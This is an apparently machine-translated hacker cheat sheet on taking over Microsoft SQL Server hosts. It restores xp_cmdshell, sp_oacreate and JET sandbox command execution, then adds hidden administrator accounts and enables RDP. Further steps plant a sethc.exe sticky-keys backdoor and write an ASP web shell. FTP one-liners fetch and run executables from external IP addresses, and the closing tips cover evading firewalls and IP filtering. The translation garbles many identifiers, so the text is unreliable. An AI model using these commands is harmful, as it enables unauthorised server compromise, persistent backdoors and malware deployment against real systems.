Reparatieorders van 1433
netuser SQLDebugger lijst /add net localgroup administrators SQLDebugger /add
Foutmelding: Opgeslagen procedure 'master.. xp_cmdshell'。
Reparatiemethode: heel algemeen, in feite kunnen andere 126 127 samen worden gerepareerd,
Behalve xplog70.dll alles anders met dit commando opgelost kan worden
xp_cmdshell nieuwe herstelmethoden Stap 1: Verwijderen: Dropprocedure sp_addextendedproc Dropprocedure sp_oacreate Leidinggevende sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, Niveau 11, Staat 5, Lijn 1 Het is niet mogelijk om het proces 'sp_addextendedproc' te verwijderen omdat het niet in de systeemmap bestaat. Server: Msg 3701, Niveau 11, Staat 5, Procedure sp_dropextendedproc, Regel 18 Het is niet mogelijk om het proces 'xp_cmdshell' te verwijderen omdat het niet in de systeemmap staat. Stap 2 Herstel: DBCC voegde uitgebreide proc toe ("sp_oacreate","odsole70.dll") DBCC AddendedProc ("xp_cmdshell","xplog70.dll") Direct herstel, ongeacht of sp_addextendedproc bestaat of niet
xplog70.dll oplossingen:
Foutmelding: De DLL-xplog70.dll of een van de DLL's waarnaar de DLL verwees, kon niet worden gemount. Reden: 126 (De gespecificeerde module is niet te vinden.) )。
Fix XPLOG70.DLL (controleer eerst de back-upmap \x86\bin met het bestand, en vervang daarna de volgende map)
Stap 1 Leidinggevende sp_dropextendedproc 'xp_cmdshell' Stap 2 DBCC AddExtendedProc ("xp_cmdshell","C:\SQL2kSp4\x86\Binn\xplog70.dll")
Opgeslagen procedure 'meester.. xp_cmdshell'。 Stap 1: Aanmaken procedure sp_addextendedproc --- 30-08-1996 20:13 @functname nvarchar(517),/* (eigenaar.) naam van functie die aan te roepen is
*/ @dllname varchar(255)/* naam van DLL met functie */ als Laat implicit_transactions op gang gaan als @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') Terugkeer (1) einde dbcc addendedproc( @functname, @dllname) Return (0) -- sp_addextendedproc GA
Stap 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server blokkeerde de toegang tot het proces 'sys.xp_cmdshell' van component 'xp_cmdshell' omdat deze component was uitgeschakeld als onderdeel van de beveiligingsconfiguratie voor deze server. Systeembeheerders kunnen 'xp_cmdshell' inschakelen door gebruik te maken van sp_configure. Voor meer informatie over het inschakelen van xp_cmdshell, zie Peripheral App Configurator in de SQL Server Online Books-serie.
; EXEC sp_configure 'toon geavanceerde opties', 1 -- ; HERCONFIGUREREN MET OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; HERCONFIGUREREN MET OVERRIDE -- ; EXEC sp_configure 'toon geavanceerde opties', 0 --
Verwijder SQL gevaarlijke opslag: DROPPROCEDURE sp_makewebtask Uitvoerend meester.. sp_dropextendedproc xp_cmdshell Uitvoerend meester.. sp_dropextendedproc xp_dirtree Uitvoerend meester.. sp_dropextendedproc xp_fileexist Uitvoerend meester.. sp_dropextendedproc xp_terminate_process Uitvoerend meester.. sp_dropextendedproc sp_oamethod Uitvoerend meester.. sp_dropextendedproc sp_oacreate Uitvoerend meester.. sp_dropextendedproc xp_regaddmultistring Uitvoerend meester.. sp_dropextendedproc xp_regdeletekey Uitvoerend meester.. sp_dropextendedproc xp_regdeletevalue Uitvoerend meester.. sp_dropextendedproc xp_regenumkeys Uitvoerend meester.. sp_dropextendedproc xp_regenumvalues Uitvoerend meester.. sp_dropextendedproc sp_add_job Uitvoerend meester.. sp_dropextendedproc sp_addtask Uitvoerend meester.. sp_dropextendedproc xp_regread Uitvoerend meester.. sp_dropextendedproc xp_regwrite Uitvoerend meester.. sp_dropextendedproc xp_readwebtask Uitvoerend meester.. sp_dropextendedproc xp_makewebtask Uitvoerend meester.. sp_dropextendedproc xp_regremovemultistring Uitvoerend meester.. sp_dropextendedproc sp_OACreate DROPPROCEDURE sp_addextendedproc
Herstel uitgebreide opgeslagen procedures Herstel eerst de sp_addextendedproc, de verklaring is als volgt: Ten eerste: Aanmaken procedure sp_addextendedproc --- 30-08-1996 20:13 @functname nvarchar(517),/* (eigenaar.) naam van functie die */ aanroept @dllname varchar(255)/* naam van DLL die functie */ bevat als Laat implicit_transactions op gang gaan als @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') Terugkeer (1) einde dbcc addendedproc( @functname, @dllname) Return (0) -- sp_addextendedproc GA
Ten tweede: Gebruik Master Directiechef sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' Uitvoerend sp_addextendedproc xp_dirtree,'xpstar.dll' Uitvoerend sp_addextendedproc xp_enumgroups,'xplog70.dll' Uitvoerend sp_addextendedproc xp_fixeddrives,'xpstar.dll' Uitvoerend sp_addextendedproc xp_loginconfig,'xplog70.dll' Uitvoerend sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' Uitvoerend sp_addextendedproc xp_getfiledetails,'xpstar.dll' Uitvoerend sp_addextendedproc sp_OACreate,'odsole70.dll' Uitvoerend sp_addextendedproc sp_OADestroy,'odsole70.dll' Uitvoerend sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' Uitvoerend sp_addextendedproc sp_OAGetProperty,'odsole70.dll' Uitvoerend sp_addextendedproc sp_OAMethod,'odsole70.dll' Directie sp_addextendedproc sp_OASetProperty,'odsole70.dll' Executive sp_addextendedproc sp_OAStop,'odsole70.dll' Uitvoerend sp_addextendedproc xp_regaddmultistring,'xpstar.dll' Uitvoerend sp_addextendedproc xp_regdeletekey,'xpstar.dll' Directiechef sp_addextendedproc xp_regdeletevalue,'xpstar.dll' Directie sp_addextendedproc xp_regenumvalues,'xpstar.dll' Uitvoerend sp_addextendedproc xp_regread,'xpstar.dll' Uitvoerend sp_addextendedproc xp_regremovemultistring,'xpstar.dll' Uitvoerend sp_addextendedproc xp_regwrite,'xpstar.dll' Directeur sp_addextendedproc xp_availablemedia,'xpstar.dll'
Verwijder de instructie die de opgeslagen procedure uitbreidt xp_cmdshell: Leidinggevende sp_dropextendedproc 'xp_cmdshell'
Herstel de SQL-instructie van cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Open de cmdshell SQL-instructie exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Bepaal of opslaguitbreiding bestaat selecteer count(*) uit master.dbo.sysobjects waarbij xtype='x' en name='xp_cmdshell' Het retourresultaat is 1 en het is OK
Herstel xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; selecteer count(*) uit master.dbo.sysobjects waarbij xtype='x' en name='xp_cmdshell' Het retourresultaat is 1 en het is OK Anders upload xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blokkeer de SQL-instructie van cmdshell sp_dropextendedproc "xp_cmdshell
Een. De SA-wachtwoordmethode wijzigen: Na het verbinden met de SQL Comprehensive Utilization Tool, voer je het commando uit: exec sp_password NULL, 'nieuw wachtwoord', 'sa' (Tip: gebruik met voorzichtigheid!)
Twee. Patch simpelweg het zwakke wachtwoord.
Methode 1: Vraag de splitter na het verbinden: als bestaat (selecteer * uit dbo.sysobjects waarbij id = object_id(N'[dbo].[ xp_cmdshell]') en OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
GA Druk vervolgens op de F5-toets om het commando uit te voeren
Methode 2: Vraag nadat de splitter is aangesloten De eerste stap is uitvoeren: gebruik master Stap 2: sp_dropextendedproc 'xp_cmdshell' Druk vervolgens op de F5-toets om het commando uit te voeren
De DLL-xpsql70.dll of een van de DLL's waarnaar de DLL verwijst, kan niet worden gemount. Reden 126 (De gespecificeerde module kan niet worden gevonden. ) Herstelmethode: Na het opvragen van de splitterverbinding, Stap 1: sp_dropextendedproc "xp_cmdshell" Stap 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
De functie xp_cmdshell is niet te vinden in de bibliotheek xpweb70.dll. Reden: 127 (Het opgegeven programma is niet te vinden.) ) Herstelmethode: Na het opvragen van de splitterverbinding, Stap 1 Uitvoering: uitvoerend sp_dropextendedproc 'xp_cmdshell' Stap 2: uitvoer sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Druk vervolgens op de F5-toets om het commando uit te voeren
Als geen van bovenstaande methoden herstelbaar is, probeer dan het account direct toe te voegen met de volgende methoden: Na het bevragen van de splitterverbinding, 2000servser-systeem: Verklaar @shell int executive sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Webhacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP of 2003Server System: 126 fout! Volgorde
Meld @shell int executive aan sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blokkeerde de toegang tot het proces 'sys.xp_cmdshell' van component 'xp_cmdshell' omdat deze component was uitgeschakeld als onderdeel van de beveiligingsconfiguratie voor deze server. Systeembeheerders kunnen 'xp_cmdshell' inschakelen door gebruik te maken van sp_configure. Voor meer informatie over het inschakelen van xp_cmdshell, zie Peripheral App Configurator in de SQL Server Online Books-serie.
Instructies uitgevoerd door de analyzer:
EXEC sp_configure 'toon geavanceerde opties', 1; HERCONFIGUREER; EXEC sp_configure 'xp_cmdshell', 1; HERCONFIGUREER;
Soms kan de opgeslagen procedure niet worden gevonden bij het uitvoeren van bovenstaande instructies met een query detacher-verbinding sp_addextendedproc
Oplossing:
Aanmaken procedure sp_addextendedproc --- 30-08-1996 20:13 @functname nvarchar(517),/* (eigenaar.) naam van functie die aangeroepen moet worden */ @dllname varchar(255)/* naam van DLL met functie */ als Laat implicit_transactions op gang gaan als @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') Terugkeer (1) einde dbcc addendedproc( @functname, @dllname) Return (0) -- sp_addextendedproc GA Deze code wordt in de querysplitter geplakt en uitgevoerd
Explorer:
c:\windows\explorer.exe
Bekijk de inhoudsopgave Uitvoerend master.dbo.xp_subdirs 'C:\' Lijstschijven Uitvoerend meester.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','selecteer shell("net user 123 123 /add")'); Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Versie 5.00 >3389.reg Echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Ingeschakeld"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_USERS\. DEFAULT\Toetsenbordindeling\Wisselen] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pas 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Bekijk port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Normale CMD-achterdeur xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K gaat rechtstreeks naar PS Mar Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo doei>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direct op PS-paarden Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo doei>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Verplaats het backdoor-commando Verklaar @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
Verklaar @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Kopieer C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Kopieer C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
Verklaar @o int Directeur sp_oacreate 'wscrip verwijder t.shell', @o eruit exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX is het commando dat je wilt uitvoeren
Schrijf de waarde die in de sleutel in het register is gespecificeerd), met de methode (schrijf bbb in de sleutel HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
UITVOEREND MEESTER.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaWaarde',
@type='REG_SZ',
@value='bbb'
@echo open 121.22.56.5>C:\bin.txt&@echo lijst>>C:\bin.txt&@echo lijst>>C:\bin.txt&@echo gzn.exe>>C:\bin.txt&@echo doei>>C:\bin.txt&@ftp -S:C:\bin.txt&Del C:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Kopieer ftp.exe eerst naar de wmpub-directory @echo cd c:\wmpub\>c:\wmpub in.bat\&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub in.bat\
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL schrijft een zin exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
SA Sandbox Mode promotie ----- ---------------------- Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389 SHIFT
De gebruikte zin: Invasie UITVOEREND MEESTER.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Herstel UITVOEREND MEESTER.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Beeldkaping
UITVOEREND MEESTER.. xp_regwrite --- dit is registerbewerking! @rootkey='HKEY_LOCAL_MACHINE', ---Dit is de positie! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Dit is ook de positie! @value_name='Debugger', --- dit is de naam van de tafel! @type='REG_SZ', --- hier is de betekenis van schrijven! @value='C:\WINDOWS\explorer.exe' ---- hier is de geschreven inhoud!
Het hele proces is om master te gebruiken: xp_regwrite dit onderdeel is afgerond,
1.sql commando om te vragen of de sticky key van het register is gekaapt
Uitvoerend meester.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql commando kaapt de sticky key-functie van het register en vervangt deze door Taakbeheer (natuurlijk kun je het vervangen door andere commando's die je wilt).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql commando om de kapingsfunctie van de registry sticky key te verwijderen beschermt je server tegen misbruik door anderen
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL schrijfbestanden
Verklaar @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Scripts zonder NET-escalatie
struser=wscrip om t.arguments(0) te verwijderen strpass=wscrip om t.arguments(1) te verwijderen.
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Add(of). ADsPath)
Voor elke admin in OE. Leden Als struser=admin. Noem dan Wscrip verwijderde t.echo struser en "Succesvol gevestigd!" wscrip om t.quit te verwijderen einde als Volgende
Wscrip verwijder t.echo struser & "Gebruikersoprichting mislukt!" Sla bovenstaande op als gebruiker. VBS-bestand Voer vervolgens cscrip uit om het gebruikersnaamwachtwoord van user.vbs te verwijderen
Met JET-sandboxmodus kun je de problemen oplossen die worden veroorzaakt door opgeslagen procedures zoals XP_cmdshell en gerelateerde dynamische linkbibliotheken. Om veiligheidsredenen schakelt het systeem standaard de sandboxmodus niet in, wat vereist dat xp_regwrite de sandboxmodus inschakelt:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
Voer vervolgens het sandbox-commando uit om een door de gebruiker genoemde test met wachtwoord 1234 aan het systeem toe te voegen:
selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=C:\Windows \system32\ias\ias.mdb','selecteer shell("cmd.exe /c net user test 1234 /add")')
selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup beheerders testen /add")')
Verschillende besturingssystemen hebben verschillende paden en moeten worden aangepast aan de situatie:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Daarnaast zijn in Microsoft SQL Server 2005 sommige opgeslagen procedures standaard gesloten en vereisen ze commando's om te openen:
Zet XP_cmdshell aan:
EXEC sp_configure 'toon geavanceerde opties', 1; HERCONFIGUREER; UITVOERENDE sp_configure 'xp_cmdshell', 1; HERCONFIGUREER;
Open 'OPENROWSET':
Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; Uitvoerend sp_configure 'Ad hoc gedistribueerde zoekopdrachten',1; HERCONFIGUREER;
Zet 'sp_oacreate' aan:
Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; Uitvoerend sp_configure 'Ole Automatiseringsprocedures',1; HERCONFIGUREER;
Hier zijn een paar situaties waarin het uitvoeringscommando onder sa verkeerd is: 1. De DLL xpsql70.dll of een DLL waarnaar de DLL verwijst, kan niet worden geladen. Reden 126 (De gespecificeerde module kan niet worden gevonden. ) Deze situatie komt relatief vaak voor en de reparatie is eenvoudig en eenvoudig, maar er zijn voorwaarden. Als je in dit geval de map kunt vermelden (met sqltools v2.0 is er een directoryfunctie), kan een Felicitaties met deze 80%-situatie worden opgelost; als je de directory kunt vermelden, zoek dan gewoon het pad xplog70.dll en voer het volgende commando uit. Stap 1 exec sp_dropextendedproc 'xp_cmdshell' (dit commando is bedoeld om de originele cmdshell te verwijderen, omdat deze al fout is gegaan) Stap 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'toon geavanceerde opties', 0 – Natuurlijk is dit een SQL-commando, uitgevoerd met een query-analyzer. De c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll Binn\ in de tweede stap is het pad van de xplog70.dll, dit pad is relatief gebruikelijk; als de c-schijf het niet heeft, kun je andere stationletters vinden. 2. Kan de functie xp_cmdshell niet vinden in de bibliotheek xpweb70.dll. Reden: 127 (Het opgegeven programma is niet te vinden.) ) Dit is namelijk hetzelfde als de bovenstaande 126, dat wil zeggen, de cmdshell is fout, zolang je de back-up vindt xplog70.dll de bovenstaande methode volgt om het te repareren. 3. Niet in staat de opgeslagen procedure 'master' te vinden. xpcmdshell' In dit geval zie ik op internet dat de methode als volgt is: Stap 1: Verwijderen: Dropprocedure sp_addextendedproc Dropprocedure sp_oacreate Leidinggevende sp_dropextendedproc 'xp_cmdshell' Stap 2 Herstel: DBCC voegde uitgebreide proc toe ("sp_oacreate","odsole70.dll") DBCC AddendedProc ("xp_cmdshell","xplog70.dll") In feite is dit nog steeds hetzelfde als hierboven, en als je voorzichtig bent, zullen de bovenstaande 126 127 alleen maar de opgeslagen procedure 'master:' niet vinden. xpcmdshell' omdat de eerste stap is om de opgeslagen procedure van cmdshell te verwijderen. Volg in dit geval gewoon de tweede stap hierboven. 4. Foutmelding: SQL Server blokkeerde de toegang tot proces 'sys.xp_cmdshell' van component 'xp_cmdshell' omdat deze component was uitgeschakeld als onderdeel van de beveiligingsconfiguratie van deze server. Systeembeheerders kunnen 'xp_cmdshell' inschakelen door gebruik te maken van sp_configure. Voor meer informatie over het inschakelen van xp_cmdshell, zie Peripheral App Configurator in de SQL Server Online Books-serie. Deze situatie is het eenvoudigst, omdat je nergens over hoeft na te denken, gewoon het volgende commando uitvoert ; EXEC sp_configure 'toon geavanceerde opties', 1 -- ; HERCONFIGUREREN MET OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; HERCONFIGUREREN MET OVERRIDE -- ; EXEC sp_configure 'toon geavanceerde opties', 0 –
Na bovenstaande fix kun je het cmd-commando uitvoeren en begin je je kracht te verhogen. Ik controleer meestal eerst het IP om te zien of het een intranet is, en dan vraag ik HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp/v PortNumber om de terminalpoort te controleren, en daarna netstat –an om te zien of de terminal open is en daarna het gebruikerswachtwoord / Voeg een gebruiker toe en vervolgens net localgroup administrators user /add Als alles goed gaat, schakelt dit een server uit. Maar er zijn veel problemen in het proces. 1. De nettostroompromotie is succesvol maar kan niet aansluiten op de terminal Er zijn de volgende situaties (1) De server bevindt zich op het intranet. (2) TCP/IP-screening. Voer eerst het volgende cmd-commando uit: cmd /c regedit -e c:\\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exporteer het eerste deel van het register voor TCP/IP-filtering cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exporteer het tweede deel van het register voor TCP/IP-filtering cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", waarmee de derde plaats in het register wordt geëxporteerd over TCP/IP-filtering Ga dan terug naar de C-schijf 1.reg, 2.reg, 3.reg, download de 1.reg, 2.reg, 3.reg terug naar je harde schijf om te bewerken, zoek het veld EnableSecurityFilters om te zien of de sleutelwaarde na het dword 00000000 is, als het 00000001 is, betekent dat dat de beheerder tcp/ip-filtering heeft gedaan, we hoeven alleen maar 1 naar 0 en 2 te veranderen. Reg en 3.reg maken dezelfde wijzigingen. (3) Maak een IP-beveiligingsbeleid. Voer het cmd-commando: cmd /c net stop policyagent uit om de IPSEC Services-dienst te stoppen. Verbind de terminal weer. (4) De inlogtoestemming van de terminal die door de beheerder is ingesteld, kan alleen worden gebruikt door de opgegeven gebruiker. (5) Firewall. Voer het cmd-commando: net stop alg /ynet stop sharedaccess uit
2. NET-escalatie verschijnt en toegang wordt geweigerd Je kunt net1 gebruikerswachtwoord /add proberen Als net1 ook toegang weigert, kun je een shfit-backdeur kopiëren en proberen het cmd-commando uit te voeren: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopieer C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe Als je erom vraagt, kopieer dan één bestand dat succesvol blijkt te zijn. Verbind met de terminal en druk op 5 shift om te zien wat er verschijnt. Speel met Kaka Explorer, voeg nu gewoon een gebruiker met de hand toe. 3. Netto escalatie treedt op met toegangsweigeringsfout 5 (markering) In dit geval hoef je net1 niet te proberen, je kunt de copy shift backdoor proberen; als de copy vraagt om het 0-bestand te kopiëren, blijkt dat het niet lukt. Daarna kun je proberen het te uploaden; als dat lukt, kun je direct een niet-net power escalation tool die enige tijd geleden is uitgebracht direct naar de kabel sturen, en dan een gebruiker toevoegen. Maar de meeste van deze zaken kunnen niet worden geüpload, dus je moet er goed over nadenken. Omdat cmd kan worden uitgevoerd, kan het bestand via cmd worden gedownload onder ftp, maar het uitgangspunt van ftp is om tekst te kunnen schrijven of batch processing te kunnen uitvoeren. Daarna kun je een tekst schrijven of batchen via een SQL-statement. Verklaar @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp account' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (geen net escalation script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Nadat de query-analyzer succesvol is uitgevoerd, verschijnt er een 1.bat op de C-schijf (als de uitvoering succesvol is, maar de C-schijf er niet is, kun je de map wijzigen om te schrijven, omdat de C-disc van de C-schijf van welke server het schrijven verbiedt) Vervolgens voert cmd ftp uit -s:c:\1.bat Nadat dit is uitgevoerd, download je een niet-net escalatiescript op de CFT-drive FTP of schrijf je direct een VBS-escalatiescript Verklaar @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Vervolgens voert cmd cscrip uit om t c:\1.vbs te verwijderen 4. De vorige wordt gerepareerd om cmd-commando's uit te voeren, maar na enkele reparaties zullen er nieuwe problemen optreden (1) Bericht: Er is een fout opgetreden tijdens de uitvoering van xp_cmdshell. 